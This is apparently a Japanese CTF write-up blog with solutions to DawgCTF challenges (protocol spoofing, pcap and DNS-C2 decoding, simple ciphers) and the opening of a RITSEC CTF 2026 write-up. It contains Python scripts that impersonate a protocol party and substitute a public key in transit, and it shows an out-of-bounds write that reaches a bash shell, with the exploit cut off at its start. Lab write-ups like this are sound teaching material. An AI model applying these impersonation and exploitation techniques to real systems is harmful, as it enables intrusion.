111010100111100010011110111100110000100111011001110110011111001111000011100000000000000000000111100000010000000110001000001110000000111110000000000000011001110001000000111111111011011110000000111101
101101001011100000011110111000111000101111011000110110010001111111000001100001100000000000000111100000011000000110001000001110000000000111000000000000011001110011000000001110000111000110000100111111
010110000001100000011101111000011000011111111000111110001110001110000000000001000000100000000111100000011000001110010000000000000001100111000000000000001011110011000000001100000111110000000101111110
111000011011100000111101111000011000011101110000000110000111110000000000000000000000000000000111110000000000001100010001111111110001111111000000000000001011111110000000001110000011111000000001101111
011100100101110000111101110000111100001000110000000110000011110000000000000000000000000000000111110000000000001100010001111111110000111110000001111100001100011110000000001110000000011100000000001101
111011001010110001111001110000111110000000000000000110000000000000000000000000000000000100000111111100000000000000000000000000000000000000011111111100001100011100000000001110000000011100000000000111
110110000000110111111001111111111111000000000000001110000000000000011011000000000000100000000111111100000000000000000000000000000000000001011111111110000000011000000000010110000110011000000000000110
111010011010111111110001111111101111000000000000001100000000000001000000010000000000000011000111111100100000000000000000010000000000000000000000000010000000000000000000011000000111111000001111111111
111001100100000000100000000000000111000000000011101000000100100010000000000000001100000011000000001011000000000000010000001100000000000000000000000000100000000000000000011100000011110001111111111001
111011000010111110000000111100000000000000000011110000000010000000000000000001000000010000000000000110000000000001100000000010001111000010000000000000000000000000000000000000000000000001111000000111
011110000001111000000000000000000000000000000001111000000001100000000000000000000000010110000000000000000000000010001100100001011001000000000000100000000000000000010000000000000000000000000000000110
111010111000010000000000000000000000000000000000111000000000000000000000000000000000000110000000000000000000000110000001101100011011000100000001000000000000000010101010101010101010100010101010000111
111001100100010000000000000001100000000000000000000000000100001000111111000000000000000000000000000000000011000100110000011100000101000000110000000000000000010001000100010001000100010001000100001001
111011101010001000010001000001110000000100000001000000010010010001111111110000100000000000000000000000000000000000000000001000110000000000000000000000000000101011101010101010101010101010101010111111
111110010001100000000010000011110000001000100010001000100001100000000111110000010001000011111110000000100000000000000000000000000000000000000000000000000001000100110111000100010001000100010001001110
111100111010001110000000001111110000010000000100010001000000000000000110000000001100000111111111000000000000000000000000011110000100000000001110100000000010101010101111111111111110101010101010111111
111111100100001001000000001111110000000000000000100000000000000000001110000000000000000110000011100000000000001100000000001000001000000011111111001000000100010001000101111111111111111111110100011001
111111101010110000100100000001110000000000000000000000000000000000001100000000000000000000000011100000000000011100000100001011000000001111111111110100000010101010101010111111111111111111111110111111
011111010001100000011000000011100000000000000000000000011111100000001100000000000000000000000011100000000000011100000100001010000000011111000001111100000001000100010001000011010111111101111111001110
111111111110101110000000000011100001100000000000000000100111000000011000000100000000000000000111000000000000011100000000001010000000111111000000011110000010101010100010101100111111110111111111111111
111111111111110001000010000011100001101111001111100001000011100000011000000000000000000000001111000000000000111000000000000000000000001111000000011110000000010000000100001100111111111111111111110101
111111111111111010100101000011100001110011001111000011000001100000011000000010111111000000111111000000000000111000000001000000010000001110000000111100000000000100001010000000111111111111111111111111
111101111111110100011000000011100001110011011100000101000011100000011000000011111111000111111111000000000000111000000001000000100000001100000000111100100010001000110001000101011111011111110111110100
111111111111101111000000000011100001110011011000000011000011000000011000000011111111000111111111100000011101111000000000110001000100001100000111111100000100010001101010110111001111111111111111111111
011111111111011011000000000011110011100011011111100011000011000000011000000011111000000111111011100000111111111000000000000000001000001101111111111000001000100010000100010000111111111111111111111011
111111111110111000100000111111111011000011001111100011001111000000011000000011110000000000000011110000110111110000000000000000000000001111111111111110000100000000001010100011000011111111111111111111
100111110111100100000000111111111001000111000001110111111110000000011000000011110000000000000011110001110001110000000000000000000000001100000000001110001100000100000001000000010001111101111111011110
111111111110101110100001011111111000000110001001110111111100000000011111000111110000000000000011000001100001110000000000000000000000001100000000001110001110000100000000000000001010101111111111111111
011111111111011001000110000000000000000000001111100111101000001111111111100111100000000000001110100001100001100000000000000000000000001100000000001110001110001100000000010000000000010001111111111111
111111111111111010101010000000000000000000001111100111100000000111111111100111100000000000111001100001000000011000000001000100000000011100000000010110001110001100000000000000000000000010111111111111
111101111111100100011111000000000000000000000000000110000000000000000011100011100000011100001111100001100111111000000000000000000000001110000000001110000111111100000000000000000000000000011011111101
111111111111111110101110100000000000010001000000001110000000000000000100010000000000011111111100000001111111111000011000011111111100010010000000111100000011111100000000000000000000100000111111111111
111111111111111101001110010110001111100011110000001100000000000000001000100010001000011111110000000000111111111000011111111111111100011100001111111100000010110000000000000000000000000000000110011111
111111111111111011111110101100000000000000000000001100000000000000000000000000000000000000000000000000000000000000001111111111111100011111111111111000000111110000011111111000001110000000111111111111
011111110111110100111001011100000000000000000000001100000000000000000000000000000000000000000000000000000000000000000111111000000000000111111111100000001111100000011111111111111111111000011001100101
111111111111111110101011101010100000000000000000001100000000000000000000000000000000000000000000000000000000000000000000000000000000000000111100000000111110000000001111111111111111111000101011111001
111111111111111111000110010101010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011111000000000000000011100111111100000000000111111
111111111111111111101101101010100110000000000000000000000000000100010001000000000000000000000000000000000000000000000000000000000000000000000000000111100000000001111000000000000000000000101011111111
111111010111011111011001010101000110000111000000000001100000011110100000111111000000011111100000011111110000000011111000000000000000000000000000011110000000000001111111100000000000000000011011100100
111111101010111111101011111110001110000111001011000001100001111111000000111111110000111111110011111111111100000011111100000000000100000000000000111100000011111000000111100000000000000011011000111111
111111110101111111010110111100001100000111000111000001100001111011100001000001110001110011111011111111111100000111011100000011100000000000000001100000000111111000000011100000000000010011000000011001
111111111010111111101110111110001100000111000111000001110011100001100000000000111001110001111000000110111100001110011100000011100000100000000000000000000111111000000011100011000010101000001100001111
111111110111011111111101111100001100000111000111100001110011100001110000000000011011110000111000000111000000011100011100000011100000100000111111100000001111111000000011100011010001000110001101010110
111101111111111110101011101010001100000111000111100001110001100000110000000000111011110000111000000111000000111000011100000011100001000001111111111000001111111000000011100000011010101110110010101111
010111011111110101010111010101001100000111000111110001110001100000110000000001110000110001111000000111000001110000011100000111100011000001100111111100001111110000000011100000000011010100110101010001
011101111111111010101110101010001100000111000111110011110001100000110000000111100000110111111000000111000001111111111100000111100000000000000001111100001111110000000111100000110000101111101010011111
110111011111010111111101000110001100000111000111111011110001100000111001111111110001111111110000000111000001111111111111100111000001001000000000011100001111100000000111100000010001011101110101110110
111101110111001111111111101010001100000111000111011011100001100001111001111111110001111111100000000111000000000111111111100111001101000000000000111100001111000010000111100000101010100011111111111111
110111011111011111111111110001001100000111000111011111100001100001111000000000110001111111100000000111000000000000111011100111001100000000011111111100001100000000000111111100000100000011011111111001
111101110111111111111111101010000111000111000111001111100001100011110000000000110001100111110000000111000000000000111000000111000000100000011111111000001100000000000111111100101110100111011111111111
000111111111011101111111010110000011001111000111000111100001100111110000000000110001100011111000001111000000000000111000000111010000110000011111111100000000000000000111111100010111010111111111011110
111101110111111111111111111010000001111111000111000011100011101111100000000001110000100000011100000011000000000000111000000111011000000000000000111100000000000000000111100000001111111110111111111111
011001011101111111000011111000000110000000001111000011100011111111000001100111100001000000100100001100000000000001111000000111000000000000000000111100000000000000001111000000000111111101011111111111
111111110111101111100011111001000011111100001011000000000101111110000001111111000001100000011000001110000000000000111000000011111111110001100001111000000000001000001111000000100011111111101111111111
100111111101110111110101111111010000000000001100000000000110100000000001000100000000000000000000000000000000000001001000000110111111110000111011111000011100001000001110000010100011011111110111111101
111111110111001011110011111110001100000000000111000000000111110000011000000000000000000000000000000000000000000001110000101111000001110000011111110000111100000000011110000110000011111111111011111111
011111101101110111110010111101101111110000000000000000000000000000011100000000001110000000000000000000000000000000000100010111100100000000100000000000111100000000011110110000000111111111111101111111
111111110111011011110011111111101111110000000000000000000000000000011100001100001111000000001010101010101000000010101010101010101010000000011111000000000000000000111110000000000001111111111111111111
110111011101110111110111111110011111110000011100000100000000000000011100111100011111000010010001000100010001000100010001000100010001000000000000000000000000000001111000100001011000111101111111011111
111111110111011111111011101010111011111110001101100000000000000000011110101010111010101010101010101010111010101010101010101010101010101011100000000000000000010111110100100000011010111111111111011111
111111100101111111111111110001110111111001110010010110100000000001011101010101110111010101000100010001101100010001000100010001000100010011100000000000000000001000001100000000000111111111111111111111
111111111111011111111111111001101011111110100101101111000000001010111110101010111010101110101010101011111010101110101010101010101010101011101000000000000000000011111000000000111111111111111111111111
111101111111111111110111110110010111011101011001101110010001000111110101010101110101111101011011000101110111011110010101010111110101010111110001000000000000000000000000000010111111011111110111101101
111111111111011111111111101010011111101111111011111110111010101011111011111110101101100111111000110111111111111111111000111110001111101111111010101000000000001010110000101110111111111111111111111111
011111111111111111111111110101101111011011110110111101101111010011111100110110101100000111110000110011111111111111110000111111111111010111110100011000000000010011110000100000111111111111111111111011
111111111111111111111111101011110011101011111110111111101111101011111010101011000000110111111100011111111111101111111100111111111111101111111010111010101010110011110000110010111111111111111111111111
011111110111111101111111011101011111100111111001111110011111100111111101110111011000110111110101111101001111111111110101111111111111000111110001111100010000110111111001010000110101111101111101011110
111111111111111111111111111111111111111110101011111010111111111110111111011101111011000110101010101010101010101011111111111111111110101111101010111010101011101110111011111010111111111111111111111111
111111111111111111111111111111100110011111110111110101111111110111111101110111011101001101010101111111010101111111111111111101011111110111110101111101010111010101111101111101011111111111111110111111
111111111111111111111111011111111111111111111111111111111111111111110111011101111010101010101011111111111111111111111111111111111111111111111111111111111010101110111111011101111111011111111111111111
111101111111011111110111111101111111011110111111110111011111011111110111111101111111011101011111111101111111011111110111111101111111010111110111111111011101110111011101111101011111011111110111101101

この0, 1のテキストで、フラグが描かれている。

DawgCTF{Th1s_w4s_1nspIr3d_By_UND3RT4L3!}

Protocol Analysis 1: Can You Hear Me (Protocol Analysis 50)

Aliceから受信したデータをBobに送信すればよい。

#!/usr/bin/env python3
import requests
import json

start_url = 'https://protocols.live/model/1'
alice_url = 'https://protocols.live/alice'
bob_url = 'https://protocols.live/bob'
headers = {'Content-Type': 'application/json'}

r = requests.post(start_url)
conn_id = json.loads(r.text)['conn_id']

content = ''
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(alice_url, data=json_data, headers=headers)
print(r.text)

content = json.loads(r.text)['content']
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(bob_url, data=json_data, headers=headers)
print(r.text)

実行結果は以下の通り。

{"content":"t:Hello|n:bob|t:this is|n:alice|t:give me the flag"}
{"content":"t:here it is|t:DawgCTF{PR0T0C0LS_R_3ZPZ}"}
DawgCTF{PR0T0C0LS_R_3ZPZ}

Protocol Analysis 2: Liar (Protocol Analysis 75)

Aliceから受け取ったデータを元に、"alice"を"charlie"に書き換えることによってCharlieになりすましフラグを取得する。

#!/usr/bin/env python3
import requests
import json

start_url = 'https://protocols.live/model/2'
alice_url = 'https://protocols.live/alice'
bob_url = 'https://protocols.live/bob'
headers = {'Content-Type': 'application/json'}

r = requests.post(start_url)
conn_id = json.loads(r.text)['conn_id']

content = ''
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(alice_url, data=json_data, headers=headers)
print(r.text)

content = json.loads(r.text)['content'].replace('alice', 'charlie')
data = {'conn_id': conn_id, 'content': content}
print(data)
json_data = json.dumps(data)
r = requests.post(bob_url, data=json_data, headers=headers)
print(r.text)

実行結果は以下の通り。

{"content":"t:Hello|n:bob|t:this is|n:alice|t:give me the flag"}
{'conn_id': 726972395853216348, 'content': 't:Hello|n:bob|t:this is|n:charlie|t:give me the flag'}
{"content":"t:here it is|t:DawgCTF{CH4NG3_0F_PL4N5}"}
DawgCTF{CH4NG3_0F_PL4N5}

Protocol Analysis 3: Missing (Protocol Analysis 100)

Aliceからはデータを受信せずに、Bobに既定のデータを送信する。

#!/usr/bin/env python3
import requests
import json

start_url = 'https://protocols.live/model/3'
alice_url = 'https://protocols.live/alice'
bob_url = 'https://protocols.live/bob'
headers = {'Content-Type': 'application/json'}

r = requests.post(start_url)
conn_id = json.loads(r.text)['conn_id']

content = 't:Hello|n:bob|t:this is|n:alice|t:give me the flag'
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(bob_url, data=json_data, headers=headers)
print(r.text)

実行結果は以下の通り。

{"content":"t:here it is|t:DawgCTF{N0_0N3_3LS3_H0M3}"}
DawgCTF{N0_0N3_3LS3_H0M3}

Protocol Analysis 4: Real Security! (Protocol Analysis 150)

Aliceから受信したk(暗号鍵), d(nonce)とBobから受信したd(暗号フラグ)を元に、ユーティリティを使ってフラグを復号する。

#!/usr/bin/env python3
import requests
import json

def get_value(data, key):
    pairs = data.split('|')
    for pair in pairs:
        k = pair.split(':')[0]
        if k == key:
            return pair.split(':')[1]
    return None

start_url = 'https://protocols.live/model/4'
alice_url = 'https://protocols.live/alice'
bob_url = 'https://protocols.live/bob'
util_url = 'https://protocols.live/util'
headers = {'Content-Type': 'application/json'}

r = requests.post(start_url)
conn_id = json.loads(r.text)['conn_id']

content = ''
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(alice_url, data=json_data, headers=headers)
print(r.text)

content = json.loads(r.text)['content']
k = get_value(content, 'k')
d = get_value(content, 'd')

data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(bob_url, data=json_data, headers=headers)
print(r.text)

content = json.loads(r.text)['content']
d2 = get_value(content, 'd')

url = util_url + '/sym_decrypt'
content = f'k:{k}|d:{d}|d:{d2}'
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(url, data=json_data, headers=headers)
print(r.text)

実行結果は以下の通り。

{"content":"t:Hello|n:bob|t:this is|n:alice|t:send me the flag encrypted under this symetric key and nonce|k:36db2d293d6e2c4cf1ad1178321c19ebb7d851cd6f11927d6dbf476f34efea6e|d:4f16fe582f96a422fdb639fd"}
{"content":"t:here it is|d:00be2ffbc8123c9a695b82981456d5fa644e93f6afd6a23e971a675795acc3a6bb5ffe9fd67e24a2943ed389"}
{"content":"t:DawgCTF{N0T_S0_S3CR3T_K3Y}"}
DawgCTF{N0T_S0_S3CR3T_K3Y}

Protocol Analysis 5: Is This Real (Protocol Analysis 150)

Aliceから受信した公開鍵は使わずに、ユーティリティを使って公開鍵、秘密鍵を生成し、その公開鍵をBobに送信する。ユーティリティを使って、Bobから受信した暗号フラグを秘密鍵で復号する。

#!/usr/bin/env python3
import requests
import json

def get_value(data, key):
    pairs = data.split('|')
    for pair in pairs:
        k = pair.split(':')[0]
        if k == key:
            return pair.split(':')[1]
    return None

def get_keys(data):
    pairs = data.split('|')
    for i in range(len(pairs)):
        if pairs[i] == 't:public':
            pubkey = pairs[i + 1][2:]
        elif pairs[i] == 't:private':
            privkey = pairs[i + 1][2:]
    return pubkey, privkey

start_url = 'https://protocols.live/model/5'
alice_url = 'https://protocols.live/alice'
bob_url = 'https://protocols.live/bob'
util_url = 'https://protocols.live/util'
headers = {'Content-Type': 'application/json'}

r = requests.post(start_url)
conn_id = json.loads(r.text)['conn_id']

content = ''
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(alice_url, data=json_data, headers=headers)
print(r.text)

alice_content = json.loads(r.text)['content']

url = util_url + '/gen_asym_key_pair'
content = ''
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(url, data=json_data, headers=headers)
print(r.text)

key_content = json.loads(r.text)['content']
pubkey, privkey = get_keys(key_content)

content = alice_content.split('|k:')[0] + '|k:' + pubkey
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(bob_url, data=json_data, headers=headers)
print(r.text)

content = json.loads(r.text)['content']
d = get_value(content, 'd')

url = util_url + '/asym_decrypt'
content = f'k:{privkey}|d:{d}'
data = {'conn_id': conn_id, 'content': content}
json_data = json.dumps(data)
r = requests.post(url, data=json_data, headers=headers)
print(r.text)

実行結果は以下の通り。

{"content":"t:Hello|n:bob|t:this is|n:alice|t:send the flag encrypted under this asymetric key|k:30818902818100c601a069ac5c51cfb2914d32ac8f7e794dc31fb7943b448a54dc80e8b41bfde4bb2c46758269f76890e8e5ba8ef4ba5c8d8556f3e03c3dcf8c12603cb17abb5625a8a2043b7bd83730e034581597df8707513115da965a55b207e47dfc26b867e53f1b9aafbfc3c0c11f7560a853084097e0cce434798c2ff16bc515dfb5ed0f0203010001"}
{"content":"t:public|k:30818902818100f6c5e18fe43125a5412b644abddf031a8b41e1f904491434dd325392bf355e8f955575dfe299f5b5e769f2ca0aa1969a0736f816e5c908c522c563df5bb56f003edd85bed9b57f791cc6ea2aa835f5bf7207365ffd9b88301fec649b9bd17c21d4d07968f6654b4039b8e4bdf1bd2f364b3f4ebeb585b5fbffdb0632fff81bdf0203010001|t:private|k:30820276020100300d06092a864886f70d0101010500048202603082025c02010002818100f6c5e18fe43125a5412b644abddf031a8b41e1f904491434dd325392bf355e8f955575dfe299f5b5e769f2ca0aa1969a0736f816e5c908c522c563df5bb56f003edd85bed9b57f791cc6ea2aa835f5bf7207365ffd9b88301fec649b9bd17c21d4d07968f6654b4039b8e4bdf1bd2f364b3f4ebeb585b5fbffdb0632fff81bdf020301000102818100aad9ea0733980b5654be741b8345a9e270d3d65e0fe780c3f0f96cff46beee8f3e7702bb5529ff02480c047a79cdd27525d59b024f6956571671cf69cf16d897d8e4c13df0ed2fa5c060cb9448fdcc478ed5811710a7260f87aafbb1185abaeb685170d66f4fbad9a12774ad7d7f41dff1917381148f24c671e2a9c544953541024100fbe47f81323ddacf1e5e58d456a751d5def629a0df98f2fecfe8877c814a4d214559fef5a26b9d489daab3f0f81ebe1922d69a2793c3e1a636804b1879de2baf024100facc03027adddc97f07273e705751bd4bfcd38dd1f7123abfb7ebd2184a4cc01c5a7b14d7df086fef49846197ac57444429197b348faa306bfed104c54532ed102405848202beea8e11c401f7ef084a245bb38567c0686f73b0af56120c3112932591bce4bde591b705777f2d0f7fe6dffe01d66ab467db2644e75c187103ffe0ebf024049f7dbb7628786e5251c8c84897e85abd4b9f1587e4a7f2bdd2bff1a20a5fe2953a366cea523489d6f846dc05c0e5a813b64f76a004f33bfece13d5a55d086d1024056b54d4373a3b9896f9f0ce6b34a3d4a2f5a765757694b58b8f287b42a85002c4eeccaec21e3c6cfc61a5850eb0842d7bba7ed5d0ce89884268159660e67a562"}
{"content":"t:here it is|d:c544162284a48a08b1e2ec68d1d3a1c3d9ca8a876183995189b406c1d08ada99bc57eb4fda29ada55fa7499df1a65b51908375b12f4b576cc642eb1858d2492a899ed3b60215ded43121f790bf5198c9d7f6f92353541d62b74136f890a189c120c410bf8a9486b2cea5462388d9dbd55ccceb160920dcfc39e95c239c92a9f4b91865928b383060f704be5549bc9ea481949af50c5d86d624116807728a08490eec92bdbdacc382f0bd850f36"}
{"content":"t:DawgCTF{C3RT1F13D_1NS3CUR3}"}
DawgCTF{C3RT1F13D_1NS3CUR3}

I Love Bacon (Fwn 200)

pcapの通信はdns通信だけで、そのdns通信でホスト名のドメイン部分を取り除いた部分はbase32文字列のようになっている。printableにデコードできるものを連結する。

#!/usr/bin/env python3
from scapy.all import *
from base64 import *

def is_printable(s):
    for c in s:
        if c < 32 or c > 126:
            return False
    return True

packets = rdpcap('dns_c2.pcap')

flag = ''
for p in packets:
    if p[IP].dst == '10.1.1.53':
        qname = p[DNSQR].qname.decode()
        b32 = qname.split('.')[0]
        try:
            dec = b32decode(b32)
            if is_printable(dec):
                flag += dec.decode()
        except:
            continue

print(flag)
DawgCTF{s1zzlin_succul3nt_c2_b4con}

Modem Metamorphosi (Fwn 250)

pcapファイルを解析して、ルーターのメーカー、モデル、旧ファームウェアバージョン、新ファームウェア名、新ファームウェアバージョンを答える問題。
httpでフィルタリングする。/upgrade.cgiへのPOSTからファームウェアの名前は以下であることがわかる。

openwrt-24.10.0-bcm47xx-generic-linksys_wrt610n-v1-squashfs.bin

検索すると、以下のページが見つかる。
https://openwrt.org/toh/hwdata/linksys/linksys_wrt610n_v1

ここから以下のことがわかる。

・Manufacturer:Linksys
・Model:WRT610N
・NewFirmwareName:OpenWrt
・NewFirmwareVersion:24.10.0

また/へのGETのレスポンスから現在のバージョンが以下であることがわかる。

1.00.00 B18
DawgCTF{Linksys_WRT610N_1.00.00 B18_OpenWrt_24.10.0}

The Step After the PCAP (Fwn 350)

ネットワークログが添付されている。そのログを見ると、Payload Fragmentに値が設定されている送信先アドレスは45.76.123.45しかない。これらのデータのPayload Fragmentを時系列に並べる。

#!/usr/bin/env python3
with open('network_forensics.log', 'r') as f:
    lines = f.read().splitlines()[9:6665]

LINE_SIZE = 13

logs = []
for i in range(0, len(lines), LINE_SIZE):
    logs.append(lines[i:i + LINE_SIZE - 1])

fragments = {}
for log in logs:
    if log[10] != 'Payload Fragment: -':
        recordno = int(log[0].split('#')[1].split()[0])
        timestamp = log[1].split(': ')[1]
        dstip = log[3].split(': ')[1]
        fragment = log[10].split(': ')[1]
        assert dstip == '45.76.123.45'

        fragments[timestamp] = fragment

fragments = sorted(fragments.items())

flag = 'Dawg{'
for k, v in fragments:
    flag += v
    flag += '_'
flag = flag[:-1]
flag += '}'
print(flag)
Dawg{HBRPO_IG8F1_CBFNO_6B9M8_0O2RA_K1VRJ_NVGFY_GWWQC_38HYF_9SXME_COSFO_GYR3X_KXWNR_EK8PK_3YR9O_UDOCU_ZRENU_N5Z3J_QIP98_Q1ZXO_I65FD_HJK1E_YY37Q_9AH8R_VHS1K_3AQ6L_6GT6M_JXK87_AU5BH_XTPDP_FF5E8_II49K_Q71N8_MTZX2_72HPO_EVB9O_OAEDO_ECVE6_PR5N8_I4P40_MGG1W1}

Stomach Bug (Fwn 400)

指定されたURLにアクセスしてダウンロードしようとしても全然終わらない。1分くらいダンプして途中までデータを取得してみる。

$ curl http://stomachbug.umbccd.net > dump.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  339k    0  339k    0     0   5619      0 --:--:--  0:01:01 --:--:--  5746^C

$ head -n 330 dump.txt                                            
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg
|000|89504e470d0a1a0a0000000d494844520000027100000271080000000008e6bbe40
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh
|001|00014fa4944415478daeddac192db38804441ffff4fcf1ef7b266d703e48d682a71
"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi
|002|ea194b14092414512afcf9cf30fe3fc71f53601067106718c419c41906710671067
                :
abcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHI
|160|0ce20ce20c83388338c320ce20ce20ce30883388330ce20ce20c833883388338c32
bcdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJ
|161|0ce20ce30883388338cbf8fff01ece54b872a58eb450000000049454e44ae426082
cdefghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJK
|000|89504e470d0a1a0a0000000d494844520000027100000271080000000008e6bbe40
defghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKL
|001|00014fa4944415478daeddac192db38804441ffff4fcf1ef7b266d703e48d682a71
efghijklmnopqrstuvwxyz{|}~ !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLM
|002|ea194b14092414512afcf9cf30fe3fc71f53601067106718c419c41906710671067

どうやら同じデータを繰り返し送信していたようだ。その内容はPNGフォーマットになっているので、復元する。

復元した画像にはQRコードが描かれているので、コードリーダで読み取る。すると、またPNGフォーマットになっているようなので、デコードする。その際、0xc2や0xc3の次に0x80以上の値が来る場合は、以下のような修正をする。

c2 xx -> xx
c3 xx -> xx + 0x40

先ほどのQRコード復元と合わせ、作成したコードは次の通り。

#!/usr/bin/env python3
from PIL import Image
from pyzbar.pyzbar import decode

with open('dump.txt', 'r') as f:
    data = f.read().splitlines()

data = [data[i] for i in range(1, len(data), 2)]
data = data[:162]

bin_png = ''
for d in data:
    bin_png += d.split('|')[-1]

png = bytes.fromhex(bin_png)

with open('qr.png', 'wb') as f:
    f.write(png)

img = Image.open('qr.png')
data = decode(img)[0].data

png = b''
i = 0
while i < len(data):
    if data[i] == 0xc2:
        png += bytes([data[i + 1]])
        i += 2
    elif data[i] == 0xc3:
        png += bytes([data[i + 1] + 0x40])
        i += 2
    else:
        png += bytes([data[i]])
        i += 1

with open('qr2.png', 'wb') as f:
    f.write(png)


復元した画像にはまたQRコードが描かれているので、コードリーダで読み取ると、以下の文字列だった。

RGF3Z0NURnsxX0JMNE0zX1RIMFMzX0g0Wk00VF9UUjVDSzNSNX0=

base64デコードする。

$ echo RGF3Z0NURnsxX0JMNE0zX1RIMFMzX0g0Wk00VF9UUjVDSzNSNX0= | base64 -d
DawgCTF{1_BL4M3_TH0S3_H4ZM4T_TR5CK3R5}
DawgCTF{1_BL4M3_TH0S3_H4ZM4T_TR5CK3R5}

Artemis Gordon (Cryptography 100)

暗号はこの画像。

Lunar Alphabetなので、https://www.dcode.fr/lunar-alphabet-leandro-katzで復号する。

MOONMAN
DawgCTF{MOONMAN}

I Hate Physics! (Cryptography 150)

テキストの行頭と行末の文字を連結していく。

DawgCTF{therm0dyn4mic5sucks!}

Vault Breaker (Cryptography 150)

添付のPDFにはこのような画像が描かれていた。

Dada Urka Cipherであると推測できるので、https://www.dcode.fr/dada-urka-cipherでデコードする。

EXTREMELYLONGPASSWORD
DawgCTF{EXTREMELYLONGPASSWORD}

Six Seven (Cryptography 200)

暗号化処理の概要は以下の通り。

・flagの先頭8バイトが"DawgCTF{"であることをチェック
・ct = encrypt(flag)
 ・start: ランダム1バイト文字列
 ・key = start
 ・iが1以上flagの長さ未満に対して以下を実行
  ・key += gen(key[i-1]).to_bytes(1, "big")
 ・keyとflagをXORして返却
・ctを16進数表記で出力

フラグが"D"から始まることからstartの値は割り出せる。startの値がわかれば、keyを算出でき、XORでフラグを復号できる。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

def gen(start):
    return  (((6 * 7) * (start - 6) * 7) + ((start * 6) - 7) * (start ^ 6)) % 255

with open('output.txt', 'r') as f:
    ct = bytes.fromhex(f.read().split(' = ')[1])

start = ord('D') ^ ct[0]
key = bytes([start])
for i in range(1, len(ct)):
    key += gen(key[i - 1]).to_bytes(1, 'big')

flag = strxor(key, ct).decode()
print(flag)
DawgCTF{please_use_secrets_in_your_stream_ciphers_69bfe194af43f0cd}

RITSEC CTF 2026 Writeup

この大会は2026/4/4 6:00(JST)~2026/4/6 6:00(JST)に開催されました。
今回もチームで参戦。結果は130点で663チーム中255位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome to RITSEC CTF (Meta)

Infoのページの最下部にフラグが書いてあった。

RS{why_1s_th3_rum_g0n3?}

Discord (Meta)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

RS{p1r4t3_d1sc0rd}

Pork Lubber (Miscellaneous)

問題文はこうなっている。

Arrr! In what U.S. state be the land-lubber who be given the subnet that 
includes the address 44.30.122.69, as be known by the crown's reckonin'?

Respond with: RS{two-letter state abbreviation}

You only have 5 attempts to solve this challenge!

https://ipinfo.io/countries/usで44.30.122.69を調べてみる。州はVirginiaであることがわかる。2-letterコードはVA。

RS{va}

Bake a Pi (PWN)

Ghidraでデコンパイルする。

void main(void)

{
  uint uVar1;
  size_t sVar2;
  long in_FS_OFFSET;
  char local_29;
  uint local_28;
  uint local_24;
  undefined8 local_20;
  
  local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  puts("I want to create the perfect pi recipe, but can\'t quite get it right...");
  puts("Can you help me bake the perfect pi?");
  putchar(10);
  do {
    while( true ) {
      while( true ) {
        puts("------------------------------------------------------------");
        printf("(S)how recipe, (C)change ingredient, (T)aste test: ");
        __isoc99_scanf("%c%*c",&local_29);
        if (local_29 != 'T') break;
        if (pi == 3.141592653589793) {
          puts("Yummy! This is the perfect pi!");
          execl("/bin/bash","/bin/bash",0);
        }
        else {
          puts("Still doesn\'t taste right. Let\'s try a different recipe.");
        }
      }
      if (local_29 < 'U') break;
LAB_0040140e:
      printf("Unknown option \'%c\'\n",(ulong)(uint)(int)local_29);
    }
    if (local_29 == 'C') {
      printf("Which ingredient would you like to change?: ");
      __isoc99_scanf("%u%*c",&local_28);
      if (local_28 < 9) {
        printf("Enter ingredient: ");
        fgets(ingredients + (ulong)local_28 * 0x20,0x20,stdin);
        uVar1 = local_28;
        sVar2 = strlen(ingredients + (ulong)local_28 * 0x20);
        *(undefined1 *)((ulong)uVar1 * 0x20 + sVar2 + 0x40407f) = 0;
      }
      else {
        puts("The recipe doesn\'t have that many ingredients");
      }
    }
    else {
      if (local_29 != 'S') goto LAB_0040140e;
      for (local_24 = 0; local_24 < 8; local_24 = local_24 + 1) {
        printf("%d. %s\n",(ulong)local_24,ingredients + (ulong)local_24 * 0x20);
      }
    }
  } while( true );
}

                             pi                                              XREF[2]:     Entry Point(*), main:004013ad(R)  
        00404180 5f 63 39        undefined8 3FBF9ADD3739635Fh
                 37 dd 9a 
                 bf 3f

                             ingredients                                     XREF[6]:     Entry Point(*), main:004012b2(*), 
                                                                                          main:00401356(*), 
                                                                                          main:0040137f(*), 
                                                                                          main:0040139e(*), 
                                                                                          main:004013a8(*)  
        00404080 31 20 6c        ds         "1 large pi crust"
                 61 72 67 
                 65 20 70 

オフセットから指定すべきインデックスを求める。

>>> 0x404180 - 0x404080
256
>>> 256 // 0x20
8

そこに3.141592653589793となる文字列を書き込む。

#!/usr/bin/env python3
import struct
from pwn import *

p = remote('bake-a-pi.ctf.ritsec.club', 1555)
